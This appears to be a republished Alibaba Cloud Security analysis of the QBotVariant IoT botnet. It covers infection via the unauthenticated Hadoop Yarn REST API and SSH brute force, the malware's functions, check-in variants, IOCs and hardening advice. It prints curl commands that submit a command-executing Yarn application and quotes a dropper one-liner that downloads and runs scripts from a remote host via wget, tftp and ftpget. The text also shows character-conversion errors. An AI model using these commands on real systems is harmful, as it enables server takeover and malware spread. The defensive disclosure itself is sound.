天天看點

因為看見,是以發現:QBotVariant謝絕落幕

網際網路給人帶來便捷的同時,其公開大量的資源也同樣給惡意利用者帶了便捷,越來越多公開的惡意程式源碼降低了對外攻擊、入侵的難度,使得安全問題愈加嚴重。

阿裡雲安全團隊從今年5月份監測到一BOT家族,其樣本改寫自網際網路公開管道源碼,在網際網路上廣泛傳播,造成了極大的危害,雲安全團隊對該類樣本做了分析、聚類、溯源,在此我們将該類樣本命名為QBotVariant。

QBotVariant具有DDoS攻擊、後門、下載下傳器、暴力破解等功能,一旦被入侵便變成殭屍電腦,其主要傳播方式通過Hadoop Yarn資源管理系統REST API未授權通路漏洞和基于弱密碼的暴力破解。類似Mirai該BOT家族針對多個版本的作業系統,不僅伺服器受到危害,如CCTV監控、家庭路由等IOT裝置更容易被攻擊、入侵。Radware公司Pascal Geenens在最新的部落格《New DemonBot Discovered》中提及到該類樣本,但是他發現的IP、樣本等資訊隻是該類家族的其中一個樣本,而我們從監測到30多個下載下傳伺服器可以看出,QBotVariant多變的IP和二進制樣本變種,使其難以發現和跟蹤。

在雲平台上,我們監測到的QBotVariant活躍度如下,峰值的時候可以達到上千個,活躍度一直未減。

因為看見,是以發現:QBotVariant謝絕落幕
以下我們将從傳播方式、腳本分析、樣本分析、溯源等多個角度對QBotVariant進行詳細的分析。 入侵、傳播方式 QBotVariant家族傳播的方式有兩種,一是利用Hadoop Yarn資源管理系統REST API未授權通路漏洞進行入侵,二是通過寫死的弱密碼進行SSH暴力破解。
因為看見,是以發現:QBotVariant謝絕落幕

Hadoop是一款由Apache基金會推出的分布式系統架構,它通過著名的MapReduce算法進行分布式處理,Yarn是Hadoop叢集的資源管理系統。Hadoop Yarn資源管理系統配置不當導緻可以未經授權進行通路,進而被攻擊者惡意利用。攻擊者無需認證即可通過REST API部署任務來執行任意代碼,最終完全控制伺服器。

其問題來源于對外開啟了以下作用的端口

yarn.resourcemanager.webapp.address,預設端口8088

yarn.resourcemanager.webapp.https.address,預設端口8090

通過對新申請application,如下指令

curl -v -X POST 'http://ip:port/ws/v1/cluster/apps/new-application'

再執行如下指令即可完成入侵

curl -s -i -X POST -H 'Accept:application/json' -H 'Content-Type:application/json'http://ip:port/ws/v1/cluster/apps -data-binary @example.json

其example.json檔案如下

{

"am-container-spec":{

"commands":{

"command":"執行的指令書寫在這裡"

}

},

"application-id":"application_xxxx_xxxxx",

"application-name":"test",

"application-type":"YARN"

}

腳本分析

我們通過溯源找到了QBotVariant比較原始版本的腳本,在原始版本的腳本中支援wget、tftp、ftpget等腳本的執行,從遠端下載下傳伺服器下載下傳腳本并執行

bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;

wget http://185.244.25.153/bins.sh; chmod 777 bins.sh; sh bins.sh;

tftp 185.244.25.153 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;

tftp -r tftp2.sh -g 185.244.25.153; chmod 777 tftp2.sh; sh tftp2.sh;

ftpget -v -u anonymous -p anonymous -P 21 185.244.25.153 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh

以下是阿裡雲安全截獲的一個經過改寫的下載下傳腳本,從腳本可以看出作者為了能夠很好的對IOT裝置支援,一方面編譯了不同版本的程式,通過ntpd、sshd、openssh等進行僞裝;另一方面每個指令行都加入了對busybox的支援,這些使得該類腳本很好的支援了IOT裝置,為QBotVaraint的傳播提供了更加便捷的途徑。

因為看見,是以發現:QBotVariant謝絕落幕
在阿裡雲捕獲的源碼中有用于編譯多個版本的腳本
因為看見,是以發現:QBotVariant謝絕落幕
QBotVariant支援版本類型及其對應二進制名稱:

支援版本類型 對應二進制名稱
mips ntpd i586 ftp
mipsel sshd m68k pftp
sh4 openssh sparc sh
x86_64 bash armv4l
armv6l tftp armv5l apache2
i686 wget powerpc-440fp telnetd
powerpc cron
樣本分析

阿裡雲截獲的多批次樣本都比較相似,都改編于QBot。某些作者為了精簡樣本或者進行殺軟對抗可能将某些功能進行裁剪,我們随機對比兩個捕獲的樣本,如圖右邊的樣本對getRandomPublicIP函數進行了裁剪,該樣本隻實作了QBot的少許功能,其檔案更小、功能更加單一。

因為看見,是以發現:QBotVariant謝絕落幕

而絕大部分樣本都實作了基本功能,其傳播性、危害性等性質并未改變,部分函數如圖所示

因為看見,是以發現:QBotVariant謝絕落幕
指令分析

我們對遠控指令進行了分析,其功能如下圖所示

因為看見,是以發現:QBotVariant謝絕落幕

值得注意是StartTheLelz函數,該函數主要用于對随機生成的IP位址進行爆破,如圖通過getRandomPublicIP函數得到随機的IP,将寫死的使用者名和密碼存儲在結構體中,然後進行連接配接,其最大爆破次數通過max變量進行控制,max和檔案描述表的項數有關但最大不超過4096。

因為看見,是以發現:QBotVariant謝絕落幕

通過資料區可以看見作者內建了幾種常見的使用者名和密碼用于爆破

因為看見,是以發現:QBotVariant謝絕落幕

如果最終爆破成功,則會在被爆破的主機中執行如下腳本,進而感染主機,再繼續向外傳播

因為看見,是以發現:QBotVariant謝絕落幕

除了內建常見的對外DDoS攻擊方法,QBotVariant還可以進行對外發送垃圾資料,通過sendJUNK或sendUDP即可完成該動作,如圖用于生成随機字元串的makeRandomStr函數,通過發送大量垃圾包同樣可以造成網絡帶寬阻塞。

因為看見,是以發現:QBotVariant謝絕落幕

而QBotVariant為了最大化入侵價值,同樣提供了遠端shell指令執行功能,其指令以"SH"開頭,通過fdgets、sockprintf将指令執行後的結果傳回到遠控端,實作如下

因為看見,是以發現:QBotVariant謝絕落幕
樣本溯源/同源性分析

我們在對樣本分析的過程中發現一個有趣的現象,樣本為了逃避檢測,有多種不同的指令,我們選取了幾種QBotVariant的上線方式。

第一種,資訊較簡單,傳回大小端、CPU架構、主機用途等資訊。

因為看見,是以發現:QBotVariant謝絕落幕

第二種,資訊比較全面,帶有作業系統、CPU架構、主機用途、端口、主機IP等資訊。

因為看見,是以發現:QBotVariant謝絕落幕

第三種,資訊最為簡單,隻傳回架構資訊。

因為看見,是以發現:QBotVariant謝絕落幕

第四種,傳回大小端、架構資訊。

因為看見,是以發現:QBotVariant謝絕落幕

第五種,資訊比較全面,架構資訊、大小端、主機IP、主機用途等資訊。

因為看見,是以發現:QBotVariant謝絕落幕

第六種,傳回主機IP、類型、版本資訊等。

因為看見,是以發現:QBotVariant謝絕落幕

第七種,傳回架構、主機IP等資訊。

因為看見,是以發現:QBotVariant謝絕落幕

我們在對樣本進行溯源發現,在pastebin上存在大量該類樣本的源碼、二進制檔案等,其存在時間都在數月之久,作者目錄下還包括其他類型IOT蠕蟲,同時發現多個作者進行了QBot的改寫,如圖是其中一位作者的pastebin和github

因為看見,是以發現:QBotVariant謝絕落幕

QBot在國内似乎大家認知不多,但是由于源碼簡單、用戶端小、支援多種架構,從09年活躍至今一直未間斷過,常被應用于遠控、DDoS等用戶端,在其截獲的IP中,絕大部分位于北美和歐洲各地,但是雲平台檢測到來自國内IP的攻擊源,國内安全人員應該引起重視。

因為看見,是以發現:QBotVariant謝絕落幕

安全加強 ●  雲防火牆

開啟雲防火牆IPS攔截模式和虛拟更新檔功能,雲防火牆已經支援對該類漏洞的防禦和防止暴力破解功能,使用者即使不及時修複也依然能夠進行防禦攔截。

 ●  網絡通路控制

使用"ECS/VPC安全組"對"受影響服務端口"通路源IP進行控制,如果本身Hadoop環境僅對内網提供服務,請不要将Hadoop服務端口釋出到網際網路。

 ●  更新更新

若使用自建的Hadoop,根據實際情況及時更新更新檔,Hadoop在2.X以上版本提供了安全認證功能,加入了Kerberos認證機制,建議啟用Kerberos認證功能或者您可以選擇使用雲上的MaxCompute(8年以上"零"安全漏洞)或雲上的E-MAPREDUCE服務。

安全建議

 ●  雲防火牆産品已支援防禦針對此漏洞的攻擊,建議使用者可以購買雲防火牆,開啟檢測。

 ●  通過安全管家服務,在阿裡雲安全專家的指導下進行安全加強及優化工作,避免系統受到漏洞影響。

總結

QBotVariant通過Hadoop Yarn資源管理系統REST API未授權通路漏洞、弱密碼密碼爆破等方式進行入侵,一旦感染此類蠕蟲,不僅會占用主機計算資源消耗帶寬流量,成為攻擊其他主機的殭屍電腦,還可能造成資料洩露,資料丢失等後果。

阿裡雲安全提醒廣大網際網路使用者,注意第三方應用的配置,防止出現此類未授權漏洞,同時加強使用者名和密碼的安全意識,切實保護自身資産安全。

IOC

部分MD5-檔案名

檔案名 MD5
185.244.25.153
YSDKOP.arm4 cc9de0d789efc8636946b4b41f374dfc
YSDKOP.arm5 ac94604edfe7730ccf70d5cd75610d01
YSDKOP.arm6 dcb51c5abd234a41ee0439183f53fd2d
YSDKOP.arm7 2416380b2fe0c693fd7c26a91b4cb8ee
YSDKOP.i586 2f029723c778f15e8e825976c66e45cd
YSDKOP.i686 49ec48d3afdddb098fa2c857fc63c848
YSDKOP.m68k 7efef839902ca20431d58685d9075710
YSDKOP.mips eab0810535b45fa1bf0f6243dafb0373
YSDKOP.mpsl a2c4e09821be6a4594e88376b9c30b5d
YSDKOP.ppc 1fc61114722f301065cd9673025ce5e0
YSDKOP.sh4 38abc827e67ff53d0814979b435e2c40
YSDKOP.sparc 20a38aeeffba9f0f1635c7b4b78f3727
YSDKOP.x86 8fd97d622e69b69a3331ee5ed08e71b2
188.166.125.19
7e9c49b9e743bcf7b382fa000c27b49d
64394fb25494b0cadf6062a0516f7c1a
75e7ce8c110bb132d3897b293d42116a
e8dfae1fe29183548503dc0270878e52
0e765d00f0ee174e79c81c9db812e3a2
2cb932dcb5db84dafa8cdc6b4afa52d0
606a3169f099b0f2423c63b4ed3f9414
6666ef216ce7434927338137760f4ab0
cc2e82ffbc6d5053efade4849c13099f
00b0a6516986aca277d0148c7ddf38c4
38b075ee960d08e96b2e77205ec017de
58c5e1bc66ac6b364639bce4b3f76c58

部分IP

178.128.194.222 178.128.7.76
103.214.111.122 130.185.250.199
194.182.80.200 138.197.74.100
198.199.84.119 104.248.165.108
178.128.46.254 159.65.227.17
206.189.196.216 80.211.109.66
194.48.152.114 159.89.114.171
178.128.43.104
209.97.159.10 46.36.37.121
46.29.164.242 46.17.47.250
158.69.60.239 195.181.223.138
80.211.39.186
104.248.112.122 212.237.26.71
178.128.239.252 104.248.212.127
104.248.63.168

部分URL及出現時間

URL 時間
http://138.197.74.100/bins.sh 20180904
http://80.211.39.186/bins.sh
http://178.128.239.252/bins.sh 20180908
http://158.69.60.239/bins/boti586final
http://158.69.60.239/bins/botx86_64final
http://158.69.60.239/bins/boti686final
http://158.69.60.239/bins.sh
20180909
http://130.185.250.199/bins.sh
http://46.17.47.250/xm2bash 20180913
http://104.248.112.122/Kuso69/Akiru.x86 20180918
http://194.182.80.200/bins.sh 20180919
http://209.97.159.10/bins.sh 20181003
http://46.17.47.250/xm2wget 20181005
http://185.244.25.153/bins.sh 20181009
http://159.65.227.17/bins.sh
http://178.128.7.76/bins.sh 20181010
http://104.248.212.127/bins.sh
http://206.189.196.216/bins.sh
http://188.166.125.19/bins.sh
20181011
http://80.211.109.66/bins.sh 20181012
http://195.181.223.138/bins.sh
http://159.89.114.171/bins.sh
20181015
http://104.248.165.108/bins.sh 20181018
http://198.199.84.119/bins.sh
http://103.214.111.122/bins.sh 20181019
http://178.128.46.254/bins.sh
http://178.128.43.104/bins.sh
http://104.248.63.168/vvglma 20181021
http://178.128.194.222/bins.sh 20181026
20181027
20181028
http://46.29.164.242/bins.sh 20181031
http://194.48.152.114/bins.sh 20181101
http://46.36.37.121/weed.sh 20181103

參考連結

 ●  https://help.aliyun.com/knowledge_detail/71609.html

 ●  https://blog.radware.com/security/2018/10/new-demonbot-discovered/

繼續閱讀